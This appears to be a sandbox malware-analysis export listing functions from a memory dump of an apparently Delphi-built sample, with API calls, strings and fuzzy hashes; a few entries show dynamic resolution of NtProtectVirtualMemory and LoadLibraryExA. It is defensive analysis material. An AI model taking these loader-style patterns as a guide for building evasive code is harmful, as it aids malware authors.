Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 58c1c4a77dddcd1d3feeefb456d2c268f454cde5e81dc923aa3144afb07d55d1
Instruction ID: cdfa407f403a5af3eef842b887c7354e0a8b7871727d99710dada8dfcd333552
Opcode Fuzzy Hash: 58c1c4a77dddcd1d3feeefb456d2c268f454cde5e81dc923aa3144afb07d55d1
Instruction Fuzzy Hash: 68E0D872B0021817D710B5689C809FA739DAB9C710F08457FBD08C7341EEA09D404AE4

Uniqueness

Uniqueness Score: -1.00%

Function 0298B748 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,029AA106,00000000,029AA11E), ref: 0298B756

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 376daf8f3a9830a21ce095000c8e89996491c74e6f1c194c4dc248003d6fb888
Instruction ID: 4fda89da9c5d19d5c809717b47734b435489cecd0d95f0248f8289f3b9dedc97
Opcode Fuzzy Hash: 376daf8f3a9830a21ce095000c8e89996491c74e6f1c194c4dc248003d6fb888
Instruction Fuzzy Hash: 0FF0B7749483019FC350EF28D46072577E5FF99718F084D2DE498C7B80E77898148F92

Uniqueness

Uniqueness Score: -1.00%

Function 0298A7CC Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,0298BE2E,00000000,0298C047,?,?,00000000,00000000), ref: 0298A7DF

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: c1878156b55314fbd131a135bc1448ea00a65f38ae630a1894243e0b3e8d53f1
Instruction ID: 1d293169e723749181476edf004ea673e0352bc4865aa653a86640b44f591fcf
Opcode Fuzzy Hash: c1878156b55314fbd131a135bc1448ea00a65f38ae630a1894243e0b3e8d53f1
Instruction Fuzzy Hash: 47D05E6630E2A03AA220A15A2D84DBB5AECCBC57A1F08443EF948CA201E200CC06A6B1

Uniqueness

Uniqueness Score: -1.00%

Function 029891C8 Relevance: 1.5, APIs: 1, Instructions: 6timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 029891CC

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: 6ad7acb16520d0ee23af696196ffd6f674aa908e5bbfab1d4a9cc499efc34d38
Instruction ID: edf09770ef5b87482194831e3c07699c2da6464e978caf543d42d0589570a63a
Opcode Fuzzy Hash: 6ad7acb16520d0ee23af696196ffd6f674aa908e5bbfab1d4a9cc499efc34d38
Instruction Fuzzy Hash: 03A011008088200282803B280C0223A3088A880A20FC80B88A8F8882E0EA2E022880E3

Uniqueness

Uniqueness Score: -1.00%

Function 0298D250 Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(oleaut32.dll), ref: 0298D259

Part of subcall function 0298D224: GetProcAddress.KERNEL32(00000000), ref: 0298D23D

Strings

VarBstrFromDate, xrefs: 0298D41F
VarBstrFromBool, xrefs: 0298D435
VarSub, xrefs: 0298D2BF
VarR4FromStr, xrefs: 0298D39B
VarMul, xrefs: 0298D2D5
VarOr, xrefs: 0298D343
VarDateFromStr, xrefs: 0298D3C7
VarR8FromStr, xrefs: 0298D3B1
VarMod, xrefs: 0298D317
VarNot, xrefs: 0298D293
VarCmp, xrefs: 0298D36F
oleaut32.dll, xrefs: 0298D254
VarBoolFromStr, xrefs: 0298D3F3
VarAdd, xrefs: 0298D2A9
VarDiv, xrefs: 0298D2EB
VariantChangeTypeEx, xrefs: 0298D267
VarIdiv, xrefs: 0298D301
VarCyFromStr, xrefs: 0298D3DD
VarNeg, xrefs: 0298D27D
VarAnd, xrefs: 0298D32D
VarBstrFromCy, xrefs: 0298D409
VarXor, xrefs: 0298D359
VarI4FromStr, xrefs: 0298D385

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
API String ID: 1646373207-1918263038
Opcode ID: b8045882b8bdfef0b96cdc03314bed4551e8eac915daf86c68c9fd65fb7a38d0
Instruction ID: 935a30438f4d02f32659812b580f87a1a1a6217c3900c3c17aebe5daf86308e4
Opcode Fuzzy Hash: b8045882b8bdfef0b96cdc03314bed4551e8eac915daf86c68c9fd65fb7a38d0
Instruction Fuzzy Hash: A7417872A493449B96187B7E780043BB7DAEA9675036C641BB418DF7C4DE30EC528E3A

Uniqueness

Uniqueness Score: -1.00%

Function 02996E94 Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ole32.dll), ref: 02996E9A
GetProcAddress.KERNEL32(00000000,CoCreateInstanceEx), ref: 02996EAB
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 02996EBB
GetProcAddress.KERNEL32(00000000,CoAddRefServerProcess), ref: 02996ECB
GetProcAddress.KERNEL32(00000000,CoReleaseServerProcess), ref: 02996EDB
GetProcAddress.KERNEL32(00000000,CoResumeClassObjects), ref: 02996EEB
GetProcAddress.KERNEL32 ref: 02996EFB

Strings

CoResumeClassObjects, xrefs: 02996EE5
CoReleaseServerProcess, xrefs: 02996ED5
CoCreateInstanceEx, xrefs: 02996EA5
CoAddRefServerProcess, xrefs: 02996EC5
CoSuspendClassObjects, xrefs: 02996EF5
CoInitializeEx, xrefs: 02996EB5
ole32.dll, xrefs: 02996E95

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: CoAddRefServerProcess$CoCreateInstanceEx$CoInitializeEx$CoReleaseServerProcess$CoResumeClassObjects$CoSuspendClassObjects$ole32.dll
API String ID: 667068680-2233174745
Opcode ID: 3650b5f91f4c14e92bf67bc389f1fc54c7627403cc8d1594e81a0a468a09023b
Instruction ID: 991fd26444195f923ef8477cec9218b8d36b79973def3a12e546672bdcddfdf3
Opcode Fuzzy Hash: 3650b5f91f4c14e92bf67bc389f1fc54c7627403cc8d1594e81a0a468a09023b
Instruction Fuzzy Hash: 67F0ACB1ACE3946DBB007B785CAEA3A2B9D99E1658344183D64376D981EAB488104F60

Uniqueness

Uniqueness Score: -1.00%

Function 02982530 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 254windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,?,Unexpected Memory Leak,00002010), ref: 029828CE

Strings

bytes: , xrefs: 0298275D
An unexpected memory leak has occurred. , xrefs: 02982690
, xrefs: 02982814
The sizes of unexpected leaked medium and large blocks are: , xrefs: 02982849
7, xrefs: 029826A1
The unexpected small block leaks are:, xrefs: 02982707
Unknown, xrefs: 0298278C
String, xrefs: 029827A1
Unexpected Memory Leak, xrefs: 029828C0

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: Message
String ID: $ bytes: $7$An unexpected memory leak has occurred. $String$The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak$Unknown
API String ID: 2030045667-32948583
Opcode ID: a177a69c1a533fc4aeca6e9e6db1bf0051e814d38ece04156de2046ea0276f54
Instruction ID: 06a3f07bf955e65433c7aa2ce3fe585615dbb3198937a6215d69a80adbec0a3c
Opcode Fuzzy Hash: a177a69c1a533fc4aeca6e9e6db1bf0051e814d38ece04156de2046ea0276f54
Instruction Fuzzy Hash: 29A1D130E043E48BDF21BB2CCC84BA9B7E9EB49750F1840E5ED49AB285CB759985CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0299A058 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 102libraryloaderCOMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004,?,00000014), ref: 0299A078
GetModuleHandleW.KERNEL32(C:\Windows\System32\KernelBase.dll,LoadLibraryExA,?,00000004,?,00000014), ref: 0299A08F
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\KernelBase.dll), ref: 0299A095
IsBadReadPtr.KERNEL32(?,00000004), ref: 0299A123
IsBadReadPtr.KERNEL32(?,00000002,?,00000004), ref: 0299A12F
IsBadReadPtr.KERNEL32(?,00000014), ref: 0299A143

Strings

LoadLibraryExA, xrefs: 0299A085
C:\Windows\System32\KernelBase.dll, xrefs: 0299A08A

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: Read$AddressHandleModuleProc
String ID: C:\Windows\System32\KernelBase.dll$LoadLibraryExA
API String ID: 1061262613-1650066521
Opcode ID: 9d6d9d5671ad2d03735b5f83d2874df2d2f65473a8dd8e420ee96f747f30b939
Instruction ID: fb5e54c0f2f4f974b97ae05fa695f4557de0ed602251cf2d470546a47eba79eb
Opcode Fuzzy Hash: 9d6d9d5671ad2d03735b5f83d2874df2d2f65473a8dd8e420ee96f747f30b939
Instruction Fuzzy Hash: 03311CB1A41205BFDF20EF68CC85F6AB7ACEF45768F044554EA14AB281D774A9508F60

Uniqueness

Uniqueness Score: -1.00%

Function 0298252E Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 188COMMON

Download Yara Rule

Strings

bytes: , xrefs: 0298275D
An unexpected memory leak has occurred. , xrefs: 02982690
, xrefs: 02982814
The sizes of unexpected leaked medium and large blocks are: , xrefs: 02982849
7, xrefs: 029826A1
The unexpected small block leaks are:, xrefs: 02982707
Unexpected Memory Leak, xrefs: 029828C0

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID:
String ID: $ bytes: $7$An unexpected memory leak has occurred. $The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak
API String ID: 0-2723507874
Opcode ID: 19b1222eb70c76fa339346bbb23c96d12513bef5b3f52b78fd6ef6b679056192
Instruction ID: 2f9aea6da0e1ba06d9544077cf56c9bc61c163a380f35e007a1257e63f4087e4
Opcode Fuzzy Hash: 19b1222eb70c76fa339346bbb23c96d12513bef5b3f52b78fd6ef6b679056192
Instruction Fuzzy Hash: 1A71C230E042D88FDF21BB2CCC84BA9BAE9EB49744F1840E5D949DB281DB758AC5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0298BD7C Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,0298C047,?,?,00000000,00000000), ref: 0298BDB2

Part of subcall function 0298A780: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0298A79E

Strings

AMPM, xrefs: 0298BFC6
:mm:ss, xrefs: 0298C002
m/d/yy, xrefs: 0298BE81
mmmm d, yyyy, xrefs: 0298BEAE
:mm, xrefs: 0298BFE5
AMPM , xrefs: 0298BFD5

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: 10ff2a8bb53d927a9fa01bf878789205071348e4d9f2387e9c051627016e46a4
Instruction ID: 552433d4696bba51a80b9c23e7b24d225c278d6b1e589863ac93f8f3fccf5cea
Opcode Fuzzy Hash: 10ff2a8bb53d927a9fa01bf878789205071348e4d9f2387e9c051627016e46a4
Instruction Fuzzy Hash: 12613F34B002499BDB04FBB4D850AAFB7FBDFC8300F5C9476E111AB245DA39D9069BA5

Uniqueness

Uniqueness Score: -1.00%

Function 02984320 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,029843E7,?,?,029E37C8,?,?,029AB7A8,02986575,029AA305), ref: 02984359
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,029843E7,?,?,029E37C8,?,?,029AB7A8,02986575,029AA305), ref: 0298435F
GetStdHandle.KERNEL32(000000F5,029843A8,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,029843E7,?,?,029E37C8), ref: 02984374
WriteFile.KERNEL32(00000000,000000F5,029843A8,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,029843E7,?,?), ref: 0298437A
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 02984398

Strings

Error, xrefs: 0298438C
Runtime error at 00000000, xrefs: 02984352, 02984391

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: a4d8d0a76e6ee3bb9e75cdaa707408f724745eb8b36f17df7b3d64c32635965d
Instruction ID: 4179376cd81e9cac38bf43843ecdd32b07f9a698cb0216a7e8a0ec081a18fee7
Opcode Fuzzy Hash: a4d8d0a76e6ee3bb9e75cdaa707408f724745eb8b36f17df7b3d64c32635965d
Instruction Fuzzy Hash: CDF09070AC8345B9FF10B2A0AD56F79274C5BD5F29F580B06B229E90C587F044C18B66

Uniqueness

Uniqueness Score: -1.00%

Function 0298AE80 Relevance: 10.6, APIs: 7, Instructions: 56filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0298ACF8: VirtualQuery.KERNEL32(?,?,0000001C), ref: 0298AD15
Part of subcall function 0298ACF8: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0298AD39
Part of subcall function 0298ACF8: GetModuleFileNameA.KERNEL32(02980000,?,00000105), ref: 0298AD54
Part of subcall function 0298ACF8: LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 0298ADEA

CharToOemA.USER32(?,?), ref: 0298AEB7
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 0298AED4
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 0298AEDA
GetStdHandle.KERNEL32(000000F4,0298AF44,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 0298AEEF
WriteFile.KERNEL32(00000000,000000F4,0298AF44,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 0298AEF5
LoadStringA.USER32(00000000,0000FFEA,?,00000040), ref: 0298AF17
MessageBoxA.USER32(00000000,?,?,00002010), ref: 0298AF2D

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
String ID:
API String ID: 185507032-0
Opcode ID: a6758e80fd616c65d33339d947402a69c5e44c033973dde6bdc5b9987071ca53
Instruction ID: 531e071b457a42c5a13524e32aca704ee1357c891a07d06f162d5dea37e4c5f1
Opcode Fuzzy Hash: a6758e80fd616c65d33339d947402a69c5e44c033973dde6bdc5b9987071ca53
Instruction Fuzzy Hash: 1A112EB6548344BED600FBA4DC81F9B77EDAB85700F88092AB754DE0E0DA70E9448B66

Uniqueness

Uniqueness Score: -1.00%

Function 0298E548 Relevance: 9.1, APIs: 6, Instructions: 139COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 0298E5E1
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 0298E5FD
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 0298E636
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 0298E6B3
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 0298E6CC
VariantCopy.OLEAUT32(?,00000000), ref: 0298E701

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-0
Opcode ID: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
Instruction ID: f49bdbf78b8941ac8b897187d9e6b31a659ffccfd6ba6dd65881ac46d1dfb9f7
Opcode Fuzzy Hash: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
Instruction Fuzzy Hash: 0351D6B59006299BCB22EB68C890BD9B3BDAF8D300F0841E5F549E7251D770EF858F65

Uniqueness

Uniqueness Score: -1.00%

Function 0298355C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 0298357E
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,029835CD,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 029835B1
RegCloseKey.ADVAPI32(?,029835D4,00000000,?,00000004,00000000,029835CD,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 029835C7

Strings

SOFTWARE\Borland\Delphi\RTL, xrefs: 02983574
FPUMaskValue, xrefs: 029835A8

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: 17c8e5e5a09d111b329e0876fa1e7ec634cde681528e24f23bd0ffcc4d662e4c
Instruction ID: bc43a45495181eea42d3b7a7043fce7da781400fc2925ee4a23fda38428a91b0
Opcode Fuzzy Hash: 17c8e5e5a09d111b329e0876fa1e7ec634cde681528e24f23bd0ffcc4d662e4c
Instruction Fuzzy Hash: 3D01D875A54318BAFB11EB90CC02FBDB3ECEB48B10F1005A5BB04D65C0E6749610CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0298AA0C Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,0298AAA3,?,?,00000000), ref: 0298AA24

Part of subcall function 0298A780: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0298A79E

GetThreadLocale.KERNEL32(00000000,00000004,00000000,0298AAA3,?,?,00000000), ref: 0298AA54
EnumCalendarInfoA.KERNEL32(Function_0000A958,00000000,00000000,00000004), ref: 0298AA5F
GetThreadLocale.KERNEL32(00000000,00000003,00000000,0298AAA3,?,?,00000000), ref: 0298AA7D
EnumCalendarInfoA.KERNEL32(Function_0000A994,00000000,00000000,00000003), ref: 0298AA88

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: dc3a250ff9cfd210b402b63b85c0e5bebcfc85f69f21a871134b73d0fe8c25fd
Instruction ID: 5dc25cea72c1eb461aaa585383bedbcbcd49fd54306eae14ac954ce51b2b1621
Opcode Fuzzy Hash: dc3a250ff9cfd210b402b63b85c0e5bebcfc85f69f21a871134b73d0fe8c25fd
Instruction Fuzzy Hash: F701D6756002487FF712FB74CD12F6E72AEDBC5720F5D0661F511AAAC0E674AE018AA8

Uniqueness

Uniqueness Score: -1.00%

Function 029A9D90 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 313threadCOMMON

Download Yara Rule

APIs

Part of subcall function 0298352C: GetKeyboardType.USER32(00000000), ref: 02983531
Part of subcall function 0298352C: GetKeyboardType.USER32(00000001), ref: 0298353D

GetCommandLineA.KERNEL32 ref: 029AA06C
GetACP.KERNEL32 ref: 029AA080
GetCurrentThreadId.KERNEL32 ref: 029AA08A

Part of subcall function 0298355C: RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 0298357E
Part of subcall function 0298355C: RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,029835CD,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 029835B1
Part of subcall function 0298355C: RegCloseKey.ADVAPI32(?,029835D4,00000000,?,00000004,00000000,029835CD,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 029835C7

Strings

@8x, xrefs: 029AA071

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: KeyboardType$CloseCommandCurrentLineOpenQueryThreadValue
String ID: @8x
API String ID: 3316616684-3331985703
Opcode ID: 9020cc839696955c27792b6fd25cf78e1aa1e85dab61269064044d9ef3a0050b
Instruction ID: 2301b00a41e93cce65363d759599d18c9d7c91941f0334aaa8754332c4b961e6
Opcode Fuzzy Hash: 9020cc839696955c27792b6fd25cf78e1aa1e85dab61269064044d9ef3a0050b
Instruction Fuzzy Hash: 2441CA6054E3C0DFD703ABB458B61A53FB19E4B20470E48C7C1C4DF1A3D629592BDB66

Uniqueness

Uniqueness Score: -1.00%

Function 0298AABC Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,0298AC8C,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 0298AAEB

Part of subcall function 0298A780: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0298A79E

Strings

yyyy, xrefs: 0298ABE1
ggg, xrefs: 0298ABD1
eeee, xrefs: 0298ABFA

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: f61f20f2c90608f6420787817a902f6d3b51a939999f82ec907041b0c686f628
Instruction ID: a8aef7d42ba8bfb0396f64779db294b8e5d383b0f3812a6450d0d5fd861d387d
Opcode Fuzzy Hash: f61f20f2c90608f6420787817a902f6d3b51a939999f82ec907041b0c686f628
Instruction Fuzzy Hash: 4141D0307042068BC711FBB989906BEB3EBEFC5300F5C456BD682CB344E638DD029A61

Uniqueness

Uniqueness Score: -1.00%

Function 029979FC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtProtectVirtualMemory), ref: 02997A09
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 02997A0F

Strings

NtProtectVirtualMemory, xrefs: 029979FF
C:\Windows\System32\ntdll.dll, xrefs: 02997A04

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: C:\Windows\System32\ntdll.dll$NtProtectVirtualMemory
API String ID: 1646373207-1386159242
Opcode ID: a92a4b6a754e7c8f576329dfb035a67ffa19cc7bd880cce9bc1e40e87aa5b615
Instruction ID: e18165dc4d852460b99e74c83f263133415b4a7c8b11a608f2962ac9662cd6fb
Opcode Fuzzy Hash: a92a4b6a754e7c8f576329dfb035a67ffa19cc7bd880cce9bc1e40e87aa5b615
